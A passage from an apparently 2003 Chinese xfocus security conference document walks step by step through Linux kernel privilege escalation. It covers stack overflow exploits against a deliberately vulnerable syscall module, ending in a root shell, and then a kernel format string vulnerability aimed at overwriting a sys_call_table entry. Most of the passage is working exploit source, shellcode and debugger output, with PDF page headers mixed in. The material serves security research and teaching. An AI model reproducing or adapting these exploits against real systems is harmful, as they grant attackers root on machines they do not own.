既然中断返回这么困难,干脆我们就不返回了,程序当掉就当掉了,但是在当掉之前好歹要做些什么吧。简单点吧,我想到了把其他进程的 uid也改为 0,现在即使我这个进程当掉了,比如我开的另外个进程 UID 变成了 0,那我们的目标也达到了。修改程序如下:/*exploit for kbof.c* --- alert7 < [email protected] > *gcc -o kbof_exploit kbof_exploit.c */

#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <sys/mman.h>#include <unistd.h>#include <linux/unistd.h>#include <linux/sysctl.h>#define __NR_new_function 240static inline _syscall2(int, new_function, unsigned int ,len,char * ,code);#define do_execve_addr 0xc0140ea0//#define do_execve_addr 0xffffffff#define NOP 'A'#define IRETARGV_OFFSET 100

//0xc02da000地址是内核内心堆栈的地址char shellcode[]={0x60,//pusha0xb8,0x00,0xa0,0x2d,0xc0,//mov $0xc02da000,%eax0x8b,0x18,//mov (%eax),%ebx0xb8,0x00,0xe0,0xff,0xff, /*mov $0xffffe000,%eax*/0x21,0xd8,/*and %ebx,%eax*/0x05,0x00,0x02,0x00,0x00,//add $0x200,%eax0xb9,0x0,0x02,0x00,0x00,//mov $0x200,%ecx//next:0x05,0x00,0x02,0x00,0x00,//add $0x200,%eax0xc7,0x80,0x28,0x01,0x00,0x00,0x00,0x00,0x00,0x00,/*movl $0x0,0x128(%eax) */0xe2,0xef,//loop next0x61,//popa

0xff,0xff,0xff};

http://www.xfocus.org , http://www.xfocus.net 第 20页 共 218页

Page 21: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

int main(int argc,char **argv){ char code[1024]; unsigned int len;

memset(code,NOP,1024); memcpy(code,shellcode,sizeof(shellcode));

len = 256+8+4+4;

printf("code addr is:%p\n",code); *(int *)(code+256+8+4) = (int)code;//eip

new_function(len,code);}说明://0xc02da000地址是内核内心堆栈的地址

编译执行,没有成功,还好系统也没有崩溃。可惜我们又想错了,以为系统的核心堆栈都是连续的,看过 KERNEL的源代码之后,发现不是这样的。系统是这样分配进程在核心堆栈的:do_fock()

p = alloc_task_struct();

#define alloc_task_struct() ((struct task_struct *) __get_free_pages(GFP_KERNEL,1))上面定义可以看到,系统只是在空闲页中分配了两个(2^1)页面。每个进程的系统核心堆栈是系统随机分配的。所以我们即使知道了内核的核心堆栈后

也不知道别人的进程在系统核心堆栈位置。所以我们又失败了。其实上面这个程序有个小问题,不过已经不是我们所关心的了。

看来舍身取义的方法是不行了,还是想想能否找到中断回家的路,上上个例子中我们之所以去改变内核 ESP的值只是因为我们找不到 iret 返回所要的参数,那么如果我们可以找到的话,再让 esp 指向那些参数的话,应该是可以正确返回的。

那么我们如何来找到 iret中断返回所需要的参数地址呢?现在我们已经可以得到控制权了,就是说我们有能力在内存中搜索东西了,那么一般

中断返回的时候参数有哪些特点呢?来看看一般中断返回时候的内存里的东西0xc31e9fa4: 0x00000110 0xc3168000 0x00000110 0xc31680000xc31e9fb4: 0xc31e8000 0x40013020 0xbffff738 0xc01089230xc31e9fc4: 0x00000110 0xbffff760 0x00000000 0x400130200xc31e9fd4: 0xbffffbd4 0xbffff738 0x000000f0 0x0000002b0xc31e9fe4: 0x0000002b 0x000000f0 0x0804859c 0x000000230xc31e9ff4: 0x00000286 0xbffff730 0x0000002b 0x00000000一般来说会有 0x8048xx 0x00000023 这么一段,这是应用层的 EIP和 CS,OK,我们现

http://www.xfocus.org , http://www.xfocus.net 第 21页 共 218页

Page 22: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

在就来找 0x00000023这个关键整数吧,修改代码如下

/*exploit for kbof.c* --- alert7 < [email protected] > *gcc -o kbof_exploit kbof_exploit.c */

#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <sys/mman.h>#include <unistd.h>#include <linux/unistd.h>#include <linux/sysctl.h>#define __NR_new_function 240static inline _syscall2(int, new_function, unsigned int ,len,char * ,code);#define NOP 'A'

char shellcode[]={//0x0,0x00,0x00,0xff,//0x50,//push 5eax//0x53,//push %ebx0x89,0xe0,//mov %esp,%eax//next0x83,0xc0,0x04,//add $0x4,%eax0x8b,0x18,//mov (%eax),%ebx0x83,0xfb,0x23,//cmp $0x23,%ebx0x75,0xf6,//jne next0x83,0xe8,0x04,//sub %0x04,%eax0x89,0xc4,//mov %eax,%esp//0x89,0x28,//mov %ebp,(%eax)//0x5b,//pop %ebx//0x58,//pop %eax0xcf /* iret */

};int main(int argc,char **argv){ char code[1024]; unsigned int len;

memset(code,NOP,1024); memcpy(code,shellcode,sizeof(shellcode));

http://www.xfocus.org , http://www.xfocus.net 第 22页 共 218页

Page 23: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

len = 256+8+4+4;

printf("code addr is:%p\n",code); *(int *)(code+256+8+4) = (int)code;//eip new_function(len,code);seteuid(0);execl("/bin/bash","bash",0);}[alert7@redhat73 alert7]$ gcc -o kbof_exploit kbof_exploit.c[alert7@redhat73 alert7]$ ./kbof_exploitcode addr is:0xbffff760Segmentation fault (core dumped)编译执行,很好,现在中断已经正常返回了,那为什么还当掉呢?继续找原因#0 0x080485ce in new_function ()(gdb) i regeax 0xc298ffec -1030160404ecx 0x0 0edx 0xbffff870 -1073743760ebx 0x23 35esp 0xbffff730 0xbffff730ebp 0x41414141 0x41414141esi 0x41414141 1094795585edi 0x41414141 1094795585eip 0x80485ce 0x80485ceeflags 0x286 646cs 0x23 35ss 0x2b 43ds 0x0 0es 0x0 0fs 0x0 0gs 0x0 0(gdb) x/i $eip0x80485ce <new_function+22>: mov %eax,0xfffffff8(%ebp)哦,原来是 EBP 返回的时候没有设置。我们又修改代码,让中断返回的时候直接跳到我们写的汇编代码上。/*exploit for kbof.c* --- alert7 < [email protected] > *gcc -o kbof_exploit kbof_exploit.c */

#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <sys/mman.h>

http://www.xfocus.org , http://www.xfocus.net 第 23页 共 218页

Page 24: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

#include <unistd.h>#include <linux/unistd.h>#include <linux/sysctl.h>#define __NR_new_function 240static inline _syscall2(int, new_function, unsigned int ,len,char * ,code);#define NOP 'A'

char shellcode[]={//0x0,0x00,0x00,0xff,//0x50,//push 5eax//0x53,//push %ebx0x89,0xe0,//mov %esp,%eax//next0x83,0xc0,0x04,//add $0x4,%eax0x8b,0x18,//mov (%eax),%ebx0x83,0xfb,0x23,//cmp $0x23,%ebx0x75,0xf6,//jne next0x83,0xe8,0x04,//sub %0x04,%eax0x89,0xc4,//mov %eax,%esp0x89,0x28,//mov %ebp,(%eax)//0x5b,//pop %ebx//0x58,//pop %eax0xcf /* iret */

};char shell[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

void test(void)

{void (* f)( void );

f = (void *) shell; (* f)();exit(0);}int main(int argc,char **argv){ char code[1024]; unsigned int len;

memset(code,NOP,1024); memcpy(code,shellcode,sizeof(shellcode));

http://www.xfocus.org , http://www.xfocus.net 第 24页 共 218页

Page 25: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

len = 256+8+4+4;

printf("code addr is:%p\n",code); *(int *)(code+256+8+4) = (int)code;//eip *(int *)(code+256+8) = (int)test;//ebp new_function(len,code);

}

[alert7@redhat73 alert7]$ ./kbof_exploitcode addr is:0xbffff760Segmentation fault (core dumped)这下又是怎么当掉的,还是来分析下吧[alert7@redhat73 alert7]$ gdb -q kbof_exploit core.1005Core was generated by `./kbof_exploit'.Program terminated with signal 11, Segmentation fault.Reading symbols from /lib/i686/libc.so.6...done.Loaded symbols for /lib/i686/libc.so.6Reading symbols from /lib/ld-linux.so.2...done.Loaded symbols for /lib/ld-linux.so.2#0 0x080496a3 in shell ()(gdb) i regeax 0x80496a0 134518432ecx 0x0 0edx 0xbffff870 -1073743760ebx 0x23 35esp 0xbffff720 0xbffff720ebp 0xbffff72c 0xbffff72cesi 0x80496c6 134518470edi 0x41414141 1094795585eip 0x80496a3 0x80496a3eflags 0x286 646cs 0x23 35ss 0x2b 43ds 0x0 0es 0x0 0fs 0x0 0gs 0x0 0fctrl 0x82607a8 136710056fstat 0x82607dc 136710108ftag 0x8260810 136710160fiseg 0x8260844 136710212fioff 0x8260878 136710264foseg 0x82608ac 136710316fooff 0x82608e0 136710368

http://www.xfocus.org , http://www.xfocus.net 第 25页 共 218页

Page 26: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

fop 0x8260914 136710420xmm0 {f = {0x0, 0x0, 0x0, 0x0}} {f = {4.9964718e-34, 4.99649568e-34, 4.99651955e-34, 4.99654343e-34}}xmm1 {f = {0x0, 0x0, 0x0, 0x0}} {f = {4.99656731e-34, 4.99659119e-34, 4.99661506e-34, 4.99663894e-34}}xmm2 {f = {0x0, 0x0, 0x0, 0x0}} {f = {4.99666282e-34, 4.99668669e-34, 4.99671057e-34, 4.99673445e-34}}xmm3 {f = {0x0, 0x0, 0x0, 0x0}} {f = {4.99675833e-34, 4.9967822e-34, 4.99680608e-34, 4.99682996e-34}}xmm4 {f = {0x0, 0x0, 0x0, 0x0}} {f = {4.99685383e-34, 4.99687771e-34, 4.99690159e-34, 4.99692547e-34}}xmm5 {f = {0x0, 0x0, 0x0, 0x0}} {f = {4.99694934e-34, 4.99697322e-34, 4.9969971e-34, 4.99702098e-34}}xmm6 {f = {0x0, 0x0, 0x0, 0x0}} {f = {4.99704485e-34, 4.99706873e-34, 4.99709261e-34, 4.99711648e-34}}xmm7 {f = {0x0, 0x0, 0x0, 0x0}} {f = {4.99714036e-34, 4.99716424e-34, 4.99718812e-34, 4.99721199e-34}}mxcsr 0x8260fc8 136712136orig_eax 0xffffffff -1(gdb) x/i $eip0x80496a3 <shell+3>: mov %esi,0x8(%esi)esi地址为 0x80496c6 ,查看进程的maps,应该是可以写的啊,真是有点郁闷了,这个问题是应用层没碰到过的。比较下正常的程序的一些寄存器:eax 0x1 1ecx 0x42130f08 1108545288edx 0xbffffbdc -1073742884ebx 0x4213030c 1108542220esp 0xbffffb68 0xbffffb68ebp 0xbffffb68 0xbffffb68esi 0x40013020 1073819680edi 0xbffffbd4 -1073742892eip 0x80483d3 0x80483d3eflags 0x292 658cs 0x23 35ss 0x2b 43ds 0x2b 43es 0x2b 43fs 0x0 0gs 0x0 0

原来是 ds和 es没有正确设置。又修改代码测试/*exploit for kbof.c* --- alert7 < [email protected] > *gcc -o kbof_exploit kbof_exploit.c */

http://www.xfocus.org , http://www.xfocus.net 第 26页 共 218页

Page 27: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <sys/mman.h>#include <unistd.h>#include <linux/unistd.h>#include <linux/sysctl.h>#define __NR_new_function 240static inline _syscall2(int, new_function, unsigned int ,len,char * ,code);#define NOP 'A'

char shellcode[]={//0x0,0x00,0x00,0xff,//0x50,//push 5eax//0x53,//push %ebx0xb8,0x2b,0x00,0x00,0x00,//mov $0x2b,%eax0x50,//push %eax0x50,0x1f,//pop %ds0x07,//pop %es0x89,0xe0,//mov %esp,%eax//next0x83,0xc0,0x04,//add $0x4,%eax0x8b,0x18,//mov (%eax),%ebx0x83,0xfb,0x23,//cmp $0x23,%ebx0x75,0xf6,//jne next

0x83,0xe8,0x04,//sub %0x04,%eax0x89,0xc4,//mov %eax,%esp0x89,0x28,//mov %ebp,(%eax)

0xb8,0x00,0xe0,0xff,0xff, /*mov $0xffffe000,%eax*/0x21,0xe0,0xc7,0x80,0x28,0x01,0x00,0x00,0x00,0x00,0x00,0x00,/*movl $0x0,0x128(%eax) *///0x5b,//pop %ebx//0x58,//pop %eax0xcf /* iret */

};char shell[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

void test(void)

http://www.xfocus.org , http://www.xfocus.net 第 27页 共 218页

Page 28: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

{void (* f)( void );

f = (void *) shell; (* f)();exit(0);}int main(int argc,char **argv){ char code[1024]; unsigned int len;

memset(code,NOP,1024); memcpy(code,shellcode,sizeof(shellcode));

len = 256+8+4+4;

printf("code addr is:%p\n",code); *(int *)(code+256+8+4) = (int)code;//eip *(int *)(code+256+8) = (int)test;//ebp new_function(len,code);

}[alert7@redhat73 alert7]$ ./kbof_exploitcode addr is:0xbffff760sh-2.05a# iduid=0(root) gid=500(alert7) groups=500(alert7)呵呵,终于成功了,真是克服了重重困难啊,不容易不容易,也感谢您耐心的看到现在

http://www.xfocus.org , http://www.xfocus.net 第 28页 共 218页

Page 29: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第六节 内核格式化字符串漏洞(Kernel Format String

Vulnerability)

6.1 构造例子程序 kformat.c

还是老话,实例更能说明问题。我们还是先来看看我们构造的 kformat.c 程序吧/*kformat.c test kernel foramt stirng Vulnerability * --- alert7 < [email protected] > *gcc -O3 -c -I/usr/src/linux/include kformat.c */

#define MODULE#define __KERNEL__#include <linux/kernel.h>#include <linux/module.h>#include <asm/unistd.h>#include <asm/uaccess.h>#include <sys/syscall.h>#include <linux/slab.h>

#define __NR_function 240 //linux not use

extern void* sys_call_table[];

int (*old_function) (void );

static char buffer[256];

asmlinkage int new_function(unsigned int len, char * buf) { char code[256] ;

if (len > 256) len = 256;

if (copy_from_user(code, buf, len)) goto out;

snprintf(buffer,len,code); printk("%s",buffer);

http://www.xfocus.org , http://www.xfocus.net 第 29页 共 218页

Page 30: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

out: return 0;}

int init_module(void) { old_function = sys_call_table[__NR_function]; sys_call_table[__NR_function] = new_function; printk("<1>kformat test loaded...\n"); return 0;}

void cleanup_module(void) { sys_call_table[__NR_function] = old_function; printk("<1>kformat test unloaded...\n");}

看看上面程序格式字符串的问题了吗?对了,就是这个snprintf(buffer,len,code);

6.2 kernel format string vuln exploit需要解决的几个问题1: 确定 kernel的 printf()系列函数是否支持%n如果不支持的话,我们就没有再研究的必要了,因为即使系统内核中存在这样的漏洞的话,我们最多能使内核的信息泄露,或者也许可以把内核弄崩溃掉。不过也许在特定的条件下还是值得去研究的。

2:确定 RETLOC的地址RETLOC一般是这样一个地址:修改该地址可以改变程序的流程

对于格式化字符串漏洞来说,我们需要找一个也在内核进程路径上可以改变程序流程的这样的一个地址。

3: 确定 RETADDR的地址跟上面的一样,在这个问题上现在我们有经验。

4::从内核态返回到应用态 跟上面的一样,在这个问题上现在我们有经验。

解决了上面的四个问题的话,写出 exploit应该不成问题了。

http://www.xfocus.org , http://www.xfocus.net 第 30页 共 218页

Page 31: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

6.3 确定 kernel的 printf()系列函数是否支持%n

看过 kernel的 src 后,我们知道%n是支持的,但不支持%hn也不支持$。这也已经足够了。

6.4 确定RETLOC的地址我们要在进程内核路径上找一个地址,该地址的改变能改变程序的流程,显然,首先

我们想到的就是覆盖函数的返回地址。 覆盖函数返回地址是一般应用层通用的方法。但是在 KERNEL要想利用这种方法的有一定难度。

首先:调试内核就比较麻烦,比较困难其次:我们无法预知内核中 ESP的值,也就没法覆盖函数的返回地址

所以,我们需要寻找另外的 RETLOC地址。我们还是找进程内核路径上找这样的地址,看看 head.S里的代码:ENTRY(system_call)

pushl %eax # save orig_eaxSAVE_ALLGET_CURRENT(%ebx)testb $0x02,tsk_ptrace(%ebx)# PT_TRACESYSjne tracesyscmpl $(NR_syscalls),%eaxjae badsyscall *SYMBOL_NAME(sys_call_table)(,%eax,4)movl %eax,EAX(%esp) # save the return value

ENTRY(ret_from_sys_call)cli # need_resched and signals atomic testcmpl $0,need_resched(%ebx)jne reschedulecmpl $0,sigpending(%ebx)jne signal_return

restore_all:RESTORE_ALL

在这里,我们对 sys_call_table这个比较感兴趣,而且这个符号又是在/porc/ksyms里导

http://www.xfocus.org , http://www.xfocus.net 第 31页 共 218页

Page 32: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

住的,而且又是普通用户可读的,所以我们就可以得到这个调用表的地址了[alert7@redhat73 alert7]$ cat /proc/ksyms |grep sys_call_tablec02c209c sys_call_table_Rdfdb18bd

我们可以找一个在系统调用表里不使用的系统调用,比如我们选择 241这个系统调用。然后只要我们想办法把 sys_call_table+241*4的地址上填上我们 SHELLCODE的地址的话,那我们任务就基本完成了。

6.5 一个担忧:SHELLCODE地址过大根据内核 sprintf系列函数的特性,关键是不支持%hn,就给我们填 SHELLCODE的值的

时候带来了很大的麻烦,因为 SHELLCODE的地址过大,在应用层的时候我们可以使用%hn 把 SHELLCODE的地址分为两块,这样就可以避免输出的字符串过长。现在在内核中的这些函数不支持%hn了,就可能导致输出的字符串过长而使系统崩溃掉。

那么我们就来想办法把 SHELLCODE地址变小,上面已经重声过好几次了,只要在进程内核路径上,我们就可以在内核中使用应用层的地址。那么我们如何在应用层把SHELLCODE地址变小呢?

首先:我们想到了mmap()系统调用void * mmap(void *start, size_t length, int prot , int flags, int fd, off_t offset);但是很可惜,我们设置了我们的开始地址 start,比如说我们设置 start为 0x1000,而内核根本就不受这个值影响,分配回来的地址一般还都会在 0x40000000上,这样的值对于我们要成功 exploit的话肯定是太大了。

其次:我们可以修改 ld的连接脚本,默认的连接脚本是把地址分配到 0x08048000。我们把该值改为 0。

elf_i386.x 连接脚本如下:OUTPUT_FORMAT("elf32-i386", "elf32-i386",

"elf32-i386")OUTPUT_ARCH(i386)ENTRY(_start)SEARCH_DIR(/lib); SEARCH_DIR(/usr/lib); SEARCH_DIR(/usr/local/lib); SEARCH_DIR(/usr/i386-redhat-linux/lib);/* Do we need any of these for elf? __DYNAMIC = 0; */SECTIONS{ /* Read-only sections, merged into text segment: */ . = 0x00000000 + SIZEOF_HEADERS; .interp : { *(.interp) } .hash : { *(.hash) } .dynsym : { *(.dynsym) } .dynstr : { *(.dynstr) }

http://www.xfocus.org , http://www.xfocus.net 第 32页 共 218页

Page 33: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

.gnu.version : { *(.gnu.version) } .gnu.version_d : { *(.gnu.version_d) } .gnu.version_r : { *(.gnu.version_r) } .rel.init : { *(.rel.init) } .rela.init : { *(.rela.init) } .rel.text : { *(.rel.text) *(.rel.text.*) *(.rel.gnu.linkonce.t*) } .rela.text : { *(.rela.text) *(.rela.text.*) *(.rela.gnu.linkonce.t*) } .rel.fini : { *(.rel.fini) } .rela.fini : { *(.rela.fini) } .rel.rodata : { *(.rel.rodata) *(.rel.rodata.*) *(.rel.gnu.linkonce.r*) } .rela.rodata : { *(.rela.rodata) *(.rela.rodata.*) *(.rela.gnu.linkonce.r*) } .rel.data : { *(.rel.data) *(.rel.data.*) *(.rel.gnu.linkonce.d*) } .rela.data : { *(.rela.data) *(.rela.data.*) *(.rela.gnu.linkonce.d*) } .rel.ctors : { *(.rel.ctors) } .rela.ctors : { *(.rela.ctors) } .rel.dtors : { *(.rel.dtors) }

http://www.xfocus.org , http://www.xfocus.net 第 33页 共 218页

Page 34: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

.rela.dtors : { *(.rela.dtors)} .rel.got : { *(.rel.got) } .rela.got : { *(.rela.got) } .rel.sdata : { *(.rel.sdata) *(.rel.sdata.*) *(.rel.gnu.linkonce.s*) } .rela.sdata : { *(.rela.sdata) *(.rela.sdata.*) *(.rela.gnu.linkonce.s*) } .rel.sbss : { *(.rel.sbss) } .rela.sbss : { *(.rela.sbss) } .rel.bss : { *(.rel.bss) } .rela.bss : { *(.rela.bss) } .rel.plt : { *(.rel.plt) } .rela.plt : { *(.rela.plt) } .init : { KEEP (*(.init)) } =0x9090 .plt : { *(.plt) } .text : { *(.text) *(.text.*) *(.stub) /* .gnu.warning sections are handled specially by elf32.em. */ *(.gnu.warning) *(.gnu.linkonce.t*) } =0x9090 _etext = .; PROVIDE (etext = .); .fini : { KEEP (*(.fini)) } =0x9090 .rodata : { *(.rodata) *(.rodata.*) *(.gnu.linkonce.r*) } .rodata1 : { *(.rodata1) } /* Adjust the address for the data segment. We want to adjust up to the same address within the page on the next page up. */ . = ALIGN(0x1000) + (. & (0x1000 - 1));

http://www.xfocus.org , http://www.xfocus.net 第 34页 共 218页

Page 35: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

.data : { *(.data) *(.data.*) *(.gnu.linkonce.d*) SORT(CONSTRUCTORS) } .data1 : { *(.data1) } .eh_frame : { *(.eh_frame) } .gcc_except_table : { *(.gcc_except_table) } .ctors : { /* gcc uses crtbegin.o to find the start of the constructors, so we make sure it is first. Because this is a wildcard, it doesn't matter if the user does not actually link against crtbegin.o; the linker won't look for a file to match a wildcard. The wildcard also means that it doesn't matter which directory crtbegin.o is in. */ KEEP (*crtbegin.o(.ctors)) /* We don't want to include the .ctor section from from the crtend.o file until after the sorted ctors. The .ctor section from the crtend file contains the end of ctors marker and it must be last */ KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) KEEP (*(SORT(.ctors.*))) KEEP (*(.ctors)) } .dtors : { KEEP (*crtbegin.o(.dtors)) KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) KEEP (*(SORT(.dtors.*))) KEEP (*(.dtors)) } .got : { *(.got.plt) *(.got) } .dynamic : { *(.dynamic) } /* We want the small data sections together, so single-instruction offsets can access them all, and initialized data all before uninitialized, so we can shorten the on-disk segment size. */ .sdata : { *(.sdata) *(.sdata.*)

http://www.xfocus.org , http://www.xfocus.net 第 35页 共 218页

Page 36: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

*(.gnu.linkonce.s.*) } _edata = .; PROVIDE (edata = .); __bss_start = .; .sbss : { *(.dynsbss) *(.sbss) *(.sbss.*) *(.scommon) } .bss : { *(.dynbss) *(.bss) *(.bss.*) *(COMMON) /* Align here to ensure that the .bss section occupies space up to _end. Align after .bss to ensure correct alignment even if the .bss section disappears because there are no input sections. */ . = ALIGN(32 / 8); } . = ALIGN(32 / 8); _end = .; PROVIDE (end = .); /* Stabs debugging sections. */ .stab 0 : { *(.stab) } .stabstr 0 : { *(.stabstr) } .stab.excl 0 : { *(.stab.excl) } .stab.exclstr 0 : { *(.stab.exclstr) } .stab.index 0 : { *(.stab.index) } .stab.indexstr 0 : { *(.stab.indexstr) } .comment 0 : { *(.comment) } /* DWARF debug sections. Symbols in the DWARF debugging sections are relative to the beginning of the section so we begin them at 0. */ /* DWARF 1 */ .debug 0 : { *(.debug) } .line 0 : { *(.line) } /* GNU DWARF 1 extensions */ .debug_srcinfo 0 : { *(.debug_srcinfo) } .debug_sfnames 0 : { *(.debug_sfnames) } /* DWARF 1.1 and DWARF 2 */ .debug_aranges 0 : { *(.debug_aranges) } .debug_pubnames 0 : { *(.debug_pubnames) }

http://www.xfocus.org , http://www.xfocus.net 第 36页 共 218页

Page 37: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

/* DWARF 2 */ .debug_info 0 : { *(.debug_info) } .debug_abbrev 0 : { *(.debug_abbrev) } .debug_line 0 : { *(.debug_line) } .debug_frame 0 : { *(.debug_frame) } .debug_str 0 : { *(.debug_str) } .debug_loc 0 : { *(.debug_loc) } .debug_macinfo 0 : { *(.debug_macinfo) } /* SGI/MIPS DWARF 2 extensions */ .debug_weaknames 0 : { *(.debug_weaknames) } .debug_funcnames 0 : { *(.debug_funcnames) } .debug_typenames 0 : { *(.debug_typenames) } .debug_varnames 0 : { *(.debug_varnames) } /* These must appear regardless of . */}

测试如下:[alert7@redhat73 alert7]$ gcc -o test -Wl,-T,elf_i386.x test.c[alert7@redhat73 alert7]$ ls1 elf_i386.x kformat_exploit kformat_exploit.c t t.c test test.c[alert7@redhat73 alert7]$ gcc -o test -Wl,-T,elf_i386.x test.c[alert7@redhat73 alert7]$ ./testHello, world[alert7@redhat73 alert7]$ gdb -q test(gdb) b mainBreakpoint 1 at 0x406(gdb) rStarting program: /home/alert7/test

Breakpoint 1, 0x00000406 in main ()(gdb) shell[alert7@redhat73 alert7]$ ps -ef |grep testalert7 2290 2010 0 03:58 pts/1 00:00:00 gdb -q testalert7 2291 2290 0 03:58 pts/1 00:00:00 /home/alert7/test[alert7@redhat73 alert7]$ cat /proc/2291/maps00000000-00001000 r-xp 00000000 08:01 19819 /home/alert7/test00001000-00002000 rw-p 00000000 08:01 19819 /home/alert7/test40000000-40013000 r-xp 00000000 08:01 256641 /lib/ld-2.2.5.so40013000-40014000 rw-p 00013000 08:01 256641 /lib/ld-2.2.5.so42000000-4212c000 r-xp 00000000 08:01 288709 /lib/i686/libc-2.2.5.so4212c000-42131000 rw-p 0012c000 08:01 288709 /lib/i686/libc-2.2.5.so42131000-42135000 rw-p 00000000 00:00 0bfffe000-c0000000 rwxp fffff000 00:00 0

OK,现在我们可以把 SHELLCODE 放在 0x1000-0x2000 之间,这样的一个地址就比较合适了。

http://www.xfocus.org , http://www.xfocus.net 第 37页 共 218页

Page 38: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

好了,到现在为止我们上面说的第一和第二个问题已经解决了,第三第四个问题前面也探讨过了,OK,现在条件基本都满足了。现在唯一需要知道的东西就是 snprintf的参数和 format strings的地址离得到底有多远?

(因为这是个演示程序,所以构造的时候不会离的太远,但是如果上面例子程序的 code是动态分配的话,那会变的很困难)。拿个程序测试下,[alert7@redhat73 alert7]$ cat kformat_exploit.c

/*exploit for kformat.c* --- alert7 < [email protected] > *gcc -o kformat_exploit kformat_exploit.c */

#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <sys/mman.h>#include <unistd.h>#include <linux/unistd.h>#include <linux/sysctl.h>#define __NR_new_function 240static inline _syscall2(int, new_function, unsigned int ,len,char * ,code);#define NOP 'A'

char formatstrings[]={"aaaa""0x%p0x%p0x%p0x%p"};int main(int argc,char **argv){ char code[1024]; unsigned int len;

memset(code,NOP,1024); memcpy(code,formatstrings,sizeof(formatstrings));

len = 256;

printf("code addr is:%p\n",code); new_function(len,code);

}

http://www.xfocus.org , http://www.xfocus.net 第 38页 共 218页

Page 39: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

以上是测试结果,很显然中间只有一个垃圾数据。现在我们只要构造如下数据格式: retloc %len%n

上面我们已经讨论过的retloc我们选择了 sys_call_table+241*4c02c209c sys_call_table_Rdfdb18bd所以 retloc的值为 0xC02C2460

